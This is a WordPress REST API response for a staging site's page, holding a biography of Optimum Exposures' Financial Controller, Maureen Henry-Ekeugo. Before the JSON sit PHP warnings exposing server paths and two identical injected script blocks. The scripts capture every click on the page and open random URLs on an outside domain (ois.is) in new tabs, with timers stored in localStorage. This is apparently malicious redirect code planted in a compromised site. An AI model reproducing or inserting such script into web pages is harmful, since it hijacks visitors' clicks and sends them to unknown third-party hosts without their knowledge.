<br />
<b>Warning</b>:  The magic method BrunnCore\CPT\PostTypesRegister::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-core/post-types/post-types-register.php</b> on line <b>30</b><br />
<br />
<b>Warning</b>:  The magic method BrunnInstagramApi::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-instagram-feed/lib/brunn-instagram-api.php</b> on line <b>71</b><br />
<br />
<b>Warning</b>:  The magic method BrunnTwitterApi::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-twitter-feed/lib/brunn-twitter-api.php</b> on line <b>95</b><br />
<br />
<b>Warning</b>:  The magic method Vc_Manager::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php</b> on line <b>203</b><br />
<br />
<b>Warning</b>:  The magic method BrunnSelectNamespace\Modules\Header\Lib\HeaderFactory::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/themes/optimum-exposures/framework/modules/header/lib/header-factory.php</b> on line <b>39</b><br />
<br />
<b>Warning</b>:  The magic method BrunnCore\Lib\ShortcodeLoader::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-core/lib/shortcode-loader.php</b> on line <b>28</b><br />
<br />
<b>Warning</b>:  The magic method BrunnInstagram\Lib\ShortcodeLoader::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-instagram-feed/lib/shortcode-loader.php</b> on line <b>28</b><br />
<br />
<b>Warning</b>:  The magic method BrunnTwitter\Lib\ShortcodeLoader::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-twitter-feed/lib/shortcode-loader.php</b> on line <b>28</b><br />
<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script><script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":5914,"date":"2020-12-21T18:27:20","date_gmt":"2020-12-21T18:27:20","guid":{"rendered":"https:\/\/staging.optimumexposures.com\/?page_id=5914"},"modified":"2020-12-21T18:27:20","modified_gmt":"2020-12-21T18:27:20","slug":"maureen-henry-ekeugo","status":"publish","type":"page","link":"https:\/\/staging.optimumexposures.com\/?page_id=5914","title":{"rendered":"Maureen Henry-Ekeugo"},"content":{"rendered":"<p>[vc_row disable_background_image=&#8221;&#8221; simple_background_image=&#8221;3574&#8243; background_image_position=&#8221;center bottom&#8221;][vc_column][vc_row_inner row_content_width=&#8221;grid&#8221; css=&#8221;.vc_custom_1608130018334{padding-top: 100px !important;padding-bottom: 100px !important;}&#8221;][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][vc_column_inner width=&#8221;2\/3&#8243;][vc_column_text]Maureen Henry-Ekeugo is the Financial Controller of Optimum Exposures. A professional with years of growing experience in developing strategic plans and making decisions that ensure corporate financial well-being; while providing financial projections and modelling for business growth. She is competent at financial and risk management, efficient at managing people and resources to achieve organizational goals.<\/p>\n<p>Maureen has worked in various capacities spanning professional accounting practice and financial services. She started her career with FirstCall Investment Options Limited and moved on to the Firms of Ayorinde Thomas &amp; Co and PKF Professional Services where she trained and gained tremendous experience.<\/p>\n<p>A professional speaker with a passion for developing leaders, she is open to innovative ideas and adaptable to new and challenging work environment.<\/p>\n<p>Maureen Henry \u2013 Ekeugo holds a B. Sc. in Actuarial Science from the University of Lagos and is a Fellow, Institute of Chartered Accountants of Nigeria (ICAN).[\/vc_column_text][\/vc_column_inner][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][\/vc_row_inner][\/vc_column][\/vc_row]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>[vc_row disable_background_image=&#8221;&#8221; simple_background_image=&#8221;3574&#8243; background_image_position=&#8221;center bottom&#8221;][vc_column][vc_row_inner row_content_width=&#8221;grid&#8221; css=&#8221;.vc_custom_1608130018334{padding-top: 100px !important;padding-bottom: 100px !important;}&#8221;][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][vc_column_inner width=&#8221;2\/3&#8243;][vc_column_text]Maureen Henry-Ekeugo is the Financial Controller of Optimum [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":1928,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"full-width.php","meta":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v18.2 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Maureen Henry-Ekeugo - Optimum Exposures<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/staging.optimumexposures.com\/?page_id=5914\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Maureen Henry-Ekeugo - Optimum Exposures\" \/>\n<meta property=\"og:description\" content=\"[vc_row disable_background_image=&#8221;&#8221; simple_background_image=&#8221;3574&#8243; background_image_position=&#8221;center bottom&#8221;][vc_column][vc_row_inner row_content_width=&#8221;grid&#8221; css=&#8221;.vc_custom_1608130018334{padding-top: 100px !important;padding-bottom: 100px !important;}&#8221;][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][vc_column_inner width=&#8221;2\/3&#8243;][vc_column_text]Maureen Henry-Ekeugo is the Financial Controller of Optimum [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/staging.optimumexposures.com\/?page_id=5914\" \/>\n<meta property=\"og:site_name\" content=\"Optimum Exposures\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data1\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/staging.optimumexposures.com\/#website\",\"url\":\"https:\/\/staging.optimumexposures.com\/\",\"name\":\"Optimum Exposures\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/staging.optimumexposures.com\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/staging.optimumexposures.com\/?page_id=5914#webpage\",\"url\":\"https:\/\/staging.optimumexposures.com\/?page_id=5914\",\"name\":\"Maureen Henry-Ekeugo - Optimum Exposures\",\"isPartOf\":{\"@id\":\"https:\/\/staging.optimumexposures.com\/#website\"},\"datePublished\":\"2020-12-21T18:27:20+00:00\",\"dateModified\":\"2020-12-21T18:27:20+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/staging.optimumexposures.com\/?page_id=5914#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/staging.optimumexposures.com\/?page_id=5914\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/staging.optimumexposures.com\/?page_id=5914#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/staging.optimumexposures.com\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"About Us\",\"item\":\"https:\/\/staging.optimumexposures.com\/?page_id=1739\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Corporate Governance\",\"item\":\"https:\/\/staging.optimumexposures.com\/?page_id=1928\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"Maureen Henry-Ekeugo\"}]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Maureen Henry-Ekeugo - Optimum Exposures","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/staging.optimumexposures.com\/?page_id=5914","og_locale":"en_US","og_type":"article","og_title":"Maureen Henry-Ekeugo - Optimum Exposures","og_description":"[vc_row disable_background_image=&#8221;&#8221; simple_background_image=&#8221;3574&#8243; background_image_position=&#8221;center bottom&#8221;][vc_column][vc_row_inner row_content_width=&#8221;grid&#8221; css=&#8221;.vc_custom_1608130018334{padding-top: 100px !important;padding-bottom: 100px !important;}&#8221;][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][vc_column_inner width=&#8221;2\/3&#8243;][vc_column_text]Maureen Henry-Ekeugo is the Financial Controller of Optimum [&hellip;]","og_url":"https:\/\/staging.optimumexposures.com\/?page_id=5914","og_site_name":"Optimum Exposures","twitter_card":"summary_large_image","twitter_misc":{"Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"https:\/\/staging.optimumexposures.com\/#website","url":"https:\/\/staging.optimumexposures.com\/","name":"Optimum Exposures","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/staging.optimumexposures.com\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/staging.optimumexposures.com\/?page_id=5914#webpage","url":"https:\/\/staging.optimumexposures.com\/?page_id=5914","name":"Maureen Henry-Ekeugo - Optimum Exposures","isPartOf":{"@id":"https:\/\/staging.optimumexposures.com\/#website"},"datePublished":"2020-12-21T18:27:20+00:00","dateModified":"2020-12-21T18:27:20+00:00","breadcrumb":{"@id":"https:\/\/staging.optimumexposures.com\/?page_id=5914#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/staging.optimumexposures.com\/?page_id=5914"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/staging.optimumexposures.com\/?page_id=5914#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/staging.optimumexposures.com\/"},{"@type":"ListItem","position":2,"name":"About Us","item":"https:\/\/staging.optimumexposures.com\/?page_id=1739"},{"@type":"ListItem","position":3,"name":"Corporate Governance","item":"https:\/\/staging.optimumexposures.com\/?page_id=1928"},{"@type":"ListItem","position":4,"name":"Maureen Henry-Ekeugo"}]}]}},"_links":{"self":[{"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages\/5914"}],"collection":[{"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5914"}],"version-history":[{"count":1,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages\/5914\/revisions"}],"predecessor-version":[{"id":5918,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages\/5914\/revisions\/5918"}],"up":[{"embeddable":true,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages\/1928"}],"wp:attachment":[{"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5914"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}